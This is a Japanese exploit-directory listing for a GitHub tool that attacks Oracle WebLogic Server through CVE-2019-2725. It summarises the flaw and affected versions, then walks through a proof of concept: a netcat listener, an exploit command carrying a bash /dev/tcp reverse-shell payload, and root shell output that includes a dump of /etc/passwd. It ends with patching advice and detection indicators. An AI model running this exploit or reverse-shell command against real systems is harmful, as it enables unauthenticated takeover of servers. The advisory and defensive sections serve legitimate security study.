Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725 — Oracle WebLogic Server(CVE-2019-2725)の未認証リモートコード実行エクスプロイト。AsyncResponseServiceの逆シリアル化を介し、細工されたSOAPリクエストでリバースシェルを配信します。 | Kitploit
ツール/GitHubGitHub/loursha/oracle-weblogic-server-asyncresponseservice-deserialization-remote-code-execution-cve-2019-2725
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubloursha/oracle-weblogic-server-asyncresponseservice-deserialization-remote-code-execution-cve-2019-2725

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

Oracle WebLogic Server(CVE-2019-2725)の未認証リモートコード実行エクスプロイト。AsyncResponseServiceの逆シリアル化を介し、細工されたSOAPリクエストでリバースシェルを配信します。

リポジトリを見る
27ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-2725 – Oracle WebLogic の未認証リモートコード実行

Oracle Fusion Middleware の Oracle WebLogic Server コンポーネント(サブコンポーネント: Web Services)における脆弱性。影響を受けるサポート対象バージョンは 10.3.6.0.0 および 12.1.3.0.0 です。容易に悪用可能なこの脆弱性により、認証されていない攻撃者が HTTP 経由でネットワークアクセスを持つ場合、Oracle WebLogic Server を侵害することが可能です。

脆弱性概要

| CVE ID: | CVE-2019-2725 | | 深刻度: | 重大 (CVSS v3: 9.8) | | 脆弱性タイプ: | 未認証リモートコード実行 (RCE) | | 影響を受ける製品: | Oracle WebLogic Server | | 影響を受けるコンポーネント: | AsyncResponseService | | 認証要件: | いいえ | | ユーザー操作: | いいえ |

CVE-2019-2725 は、Oracle WebLogic Server における重大なデシリアライゼーション脆弱性であり、/_async/AsyncResponseService エンドポイントに送信された特別に細工された SOAP 要求を介して、認証されていないリモート攻撃者 が任意のシステムコマンドを実行することを可能にします。


影響を受けるバージョン

Oracle WebLogic Server の 2019年4月の Critical Patch Update より前のバージョン(以下を含むがこれに限定されない):

  • WebLogic 10.3.6
  • WebLogic 12.1.3
  • WebLogic 12.2.1.3

脆弱性の説明

この脆弱性は、AsyncResponseService における に起因します。 攻撃者は、悪意のある XML ペイロードを送信することで、 基盤となるオペレーティングシステム上での を引き起こすことができます。

安全でないデシリアライゼーション

認証なしで
任意のコマンド実行

この問題は、以下の理由から特に危険です:

  • エンドポイントが 外部に公開 されていることが多い
  • 有効な認証情報が不要
  • 悪用により システム全体の侵害 に直接つながる

攻撃シナリオ

  1. 攻撃者が公開された WebLogic インスタンスを特定する
  2. 攻撃者が悪意のある SOAP 要求を次の宛先に送信する:
  3. WebLogic が攻撃者制御のデータをデシリアライズする
  4. 任意の OS コマンドが実行される
  5. 攻撃者が リモートシェルアクセス を獲得する

概念実証 (PoC)

🔹 攻撃者リスナー (2番目のCLI)

リバースシェルを受信するために Netcat リスナーを起動:

root@kitploit:~
nc -lvp 2323

🔹 エクスプロイト実行 (1番目のCLI)

脆弱な WebLogic サーバーに対してエクスプロイトスクリプトを実行:

root@kitploit:~
python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'

期待される出力:

root@kitploit:~
[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)

🔹 エクスプロイト成功結果

Netcat リスナー上でリバースシェルが受信されます:

root@kitploit:~
Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

緩和策と修復

推奨される対策

  1. Oracle 2019年4月 Critical Patch Update (CPU) を適用
  • 2019年4月のセキュリティ修正を含むバージョンに Oracle https://www.oracle.com/security-alerts/alert-cve-2019-2725.html が提供するものをアップグレード
  1. 脆弱なエンドポイントへのアクセスを制限
  • これによりリモートコマンド実行とシステムレベルアクセスが確認されます。
  • このエンドポイントが信頼できないネットワークに公開されていないことを確認する
  • 内部または信頼できる IP 範囲のみにアクセスを制限する
  1. ネットワーク制御を使用した信頼できないアクセスのブロック
  • 厳格な ファイアウォールルール を実装
  • リバースプロキシ を介したアクセス制御を実施
  • WebLogic の管理および非同期サービスへの不要な外部アクセスを無効化
  1. ログ記録と継続的監視の有効化
  • HTTP アクセスログを監視
  • 非同期エンドポイントを標的とする異常なリクエストパターンに対してアラートを設定

検出指標

以下の指標は、攻撃の試行または成功を示唆する可能性があります:

🔍 ネットワークおよびアプリケーションの指標

  • へのリクエスト:
  • 不審または不正な形式の SOAP/XML ペイロード
  • 非同期サービスからの繰り返しの HTTP 202 Accepted レスポンス

🔍 ホストベースの指標

  • WebLogic Server によって開始されたアウトバウンドネットワーク接続
  • 予期しないシェル実行(例:)
  • /bin/bash
  • /bin/sh
  • 未知の IP またはポートへのリバースシェル接続の作成

セキュリティ監視の推奨事項

  • 既知の WebLogic SOAP 悪用パターンに対する IDS/IPS シグネチャを有効化
  • WebLogic サーバーからのアウトバウンドトラフィックを監視
  • アプリケーションサービスに対して最小権限の実行を実装
  • WebLogic プロセスの実行ログを定期的に確認

クレジット

以下の公開リポジトリがエクスプロイトの理解と検証のために参照されました:

  • https://github.com/lufeirider/CVE-2019-2725
  • https://github.com/pimps/CVE-2019-2725

ツールをダウンロード